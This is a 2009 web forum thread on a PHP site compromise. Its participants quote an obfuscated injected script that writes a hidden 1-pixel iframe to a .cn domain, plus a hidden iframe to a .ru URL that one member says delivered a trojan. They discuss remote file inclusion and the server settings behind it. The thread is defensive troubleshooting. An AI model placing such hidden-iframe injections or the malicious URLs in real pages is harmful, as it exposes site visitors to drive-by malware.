Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Simple PHP page Security
Old 07-11-2009, 12:08 PM Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
Recently I've been discovering random bits of code in a friends PHP pages. He has brought it to my attention. It looks like someone is exploting the PHP page to write the PHP file itself. The PHP file normally looks like this:

Code:
<?php

$title = 'test';

include('overall_header.html');

include('homepage.html');

include('overall_footer.html

?>
However, I've just taken a look - and it now looks like this:

Code:
<?php

$title = 'test';

include('overall_header.html');

include('homepage.html');

include('overall_footer.html

<?php echo '<script>document.write("<i" +"fra" +"me "+ "s" +"r" +"c=http:" +"/" +"/"+ "u"+ "pdate" +"d" +"a" +"te." +"c" +"n" +"/" +" h" +"e" +"i" +"ght=1 " +"wid" +"t" +"h=1" +"><" +"/ifr"+ "am"+ "e" +">")</script>'; ?>
The code seems pretty simple - and I never thought there could be any security holes with that. What could be causing the problem?
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
 
Register now for full access!
Old 07-12-2009, 08:48 AM Re: Simple PHP page Security
Extreme Talker

Posts: 181
Name: David Jackson
Trades: 0
its trying to inject a cn file into an iframe

the file its pointing to is update.cn on your local machine or server

a cn file is a CNwin file extension but this could be different

I dont know how its being injected but the php would fail above and it will probably fail itsself as the php tags have been injected inside other php tags
__________________

Please login or register to view this content. Registration is FREE
davidj is offline
Reply With Quote
View Public Profile
 
Old 07-12-2009, 10:10 AM Re: Simple PHP page Security
chrishirst's Avatar
Missing! presumed drunk.

Posts: 42,384
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
It's NOT a "cn" file, it's a URL on a .cn domain opening in a 1px x 1px iframe. Whatever it is doing hiding an iframe on pages is rarely something you would be doing legitimately
__________________
Chris. ->>
Please login or register to view this content. Registration is FREE
<<-

A foolish consistency is the hobgoblin of little minds
Thought for today:- Is SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 07-12-2009, 12:11 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
Quote:
Originally Posted by chrishirst View Post
It's NOT a "cn" file, it's a URL on a .cn domain opening in a 1px x 1px iframe. Whatever it is doing hiding an iframe on pages is rarely something you would be doing legitimately
Any Idea how it's being written into the file?
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 11:27 AM Re: Simple PHP page Security
NewBreed's Avatar
Extreme Talker

Posts: 223
Name: Johnny
Location: Washington
Trades: 0
Is there any other PHP in the other pages? Using a CMS? Also a link to a website that is setup similar to this or the exact website it is from, would prove to be very useful.

Obviously it looks like you got RFI'd.
__________________
"The only thing that interferes with my learning is my education." -Albert Einstein
NewBreed is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 01:57 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
http://www.denglerdemolition.com/ is the website. What does RFI stand for?
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 04:39 PM Re: Simple PHP page Security
NewBreed's Avatar
Extreme Talker

Posts: 223
Name: Johnny
Location: Washington
Trades: 0
Remote File Inclusion/Local File Inclusion
RFI/LFI
The given code isn't exploitable.
But it looks as if your contact page is exploitable.
I'm at work and don't have time to dedicate to this at the moment.
I'll be off in a little more than 3 hours and will get back to you with more details to see if my hypothesis is correct.
__________________
"The only thing that interferes with my learning is my education." -Albert Einstein
NewBreed is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 07:38 PM Re: Simple PHP page Security
NewBreed's Avatar
Extreme Talker

Posts: 223
Name: Johnny
Location: Washington
Trades: 0
I take it you see/saw what I was talking about since you took everything down?
__________________
"The only thing that interferes with my learning is my education." -Albert Einstein
NewBreed is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 08:45 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
Your page has a virus and it's automatically downloading it onto our computers. I got a message from my virus security that a trojan was removed. You can take a look at http://en.wikipedia.org/wiki/Remote_File_Inclusion , hope that that will help.

This was the site that was included on homepage.html

http://u1m.ru:8080/index.php
__________________
Alex

Last edited by konetch; 07-13-2009 at 08:47 PM..
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 08:45 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
I'm afraid the page may have been hit with another exploit. So the above piece of code is fool proof? If the problem is with the contact page, how is it that only the index page is being messed with?
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 08:54 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
It has to be a problem with your host. Because a program is adding the code to your site. When I visited homepage.html the trojan was downloaded. At the bottom of your source code on that page it has the iframe inclusion

<iframe src="http://u1m.ru:8080/index.php" width=151 height=128 style="visibility: hidden"></iframe>
__________________
Alex
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 09:04 PM Re: Simple PHP page Security
NewBreed's Avatar
Extreme Talker

Posts: 223
Name: Johnny
Location: Washington
Trades: 0
konetch, what did you use to get rid of it?
__________________
"The only thing that interferes with my learning is my education." -Albert Einstein
NewBreed is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 09:11 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
Nothing, it is still there, go to http://www.denglerdemolition.com/homepage.html . Make sure you have a virus scanner otherwise you'll get infected.

It's on the bottom of the page's source code
__________________
Alex
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 09:30 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
Seriously, how is this getting in there? The host (me) really doesn't see any problems.
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 09:32 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
It's probably a PHP configuration problem. Here's what I found

Quote:
RFI attacks are possible because of several PHP configuration flags:
  • One is called register_globals. register_global automatically defines variables in the script that are entered in the page URL. In this example, the $page variable will automatically be filled with http://malicious.code.com/C99.txt?archive.php before the script is executed. Because of this security vulnerability, register_globals is set to OFF by default on newer servers.
  • Another one, even more relevant to this attack, is allow_url_fopen. This defines if PHP should be able to fetch remote content in almost any function that takes a file name as a parameter. In PHP 5.2 this setting was separated for the include() family of functions and called allow_url_include. This specifically addresses the fact that the attack described here makes up the majority of security holes in current PHP software.
You'll have to change the php configuration on your host
__________________
Alex
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 09:42 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
I've disabled both, let's see if that was the cause of the problem
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 09:46 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
You'll need to delete the iframe at the bottom of your source code, in homepage.html for it to go away. It shouldn't come back after that. Plus you'll need to correct the code on your index page from

PHP Code:
<?php

$title 
'test';

include(
'overall_header.html');

include(
'homepage.html');

include(
'overall_footer.html


?>
to

PHP Code:
<?php

$title 
'test';

include(
'overall_header.html');

include(
'homepage.html');

include(
'overall_footer.html');


?>
It will get rid of the parse errors.


Edit: You'll also need to get rid of this

PHP Code:
<?php echo '<script>document.write("<i" +"fra" +"me "+ "s" +"r" +"c=http:" +"/" +"/"+ "u"+ "pdate" +"d" +"a" +"te." +"c" +"n" +"/" +" h" +"e" +"i" +"ght=1 " +"wid" +"t" +"h=1" +"><" +"/ifr"+ "am"+ "e" +">")</script>'?>
on your index.php file
__________________
Alex

Last edited by konetch; 07-13-2009 at 09:52 PM..
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-13-2009, 09:50 PM Re: Simple PHP page Security
andrei155's Avatar
CEO of BLD Hosting

Posts: 1,514
Name: Andrei
Location: Canada
Trades: 6
Oh, that's just an error on my part - good eye tho . I'll try that, thanks
__________________
No Overselling Guarantee
Now Includes a Free Domain
BLD Hosting -
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Please login or register to view this content. Registration is FREE
andrei155 is offline
Reply With Quote
View Public Profile Visit andrei155's homepage!
 
Old 07-13-2009, 09:58 PM Re: Simple PHP page Security
konetch's Avatar
Ultra Talker

Posts: 258
Trades: 0
Your welcome. Good luck!
__________________
Alex
konetch is offline
Reply With Quote
View Public Profile
 
Old 07-14-2009, 04:00 PM Re: Simple PHP page Security
Junior Talker

Posts: 1
Name: Erin
Trades: 0
I have found 3 of my sites have been infected with this. They all where modified 7/10/2009 at 9:54am. The only common code in each one is <script>document.write("<i" +"fra" +"me "+ "s" +"r" +"c=http:" +"/" +"/"+ "u"+ "pdate" +"d" +"a" +"te." +"c" +"n" +"/" +" h" +"e" +"i" +"ght=1 " +"wid" +"t" +"h=1" +"><" +"/ifr"+ "am"+ "e" +">")</script>' above this is diffrent for each one. atleast I have the original information on my machine. I've had to delete the index page from the web and replace it with an old uninfected copy. This has been the only way I've been able to get completely get rid of it.
meag20 is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Simple PHP page Security

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.88259 seconds with 12 queries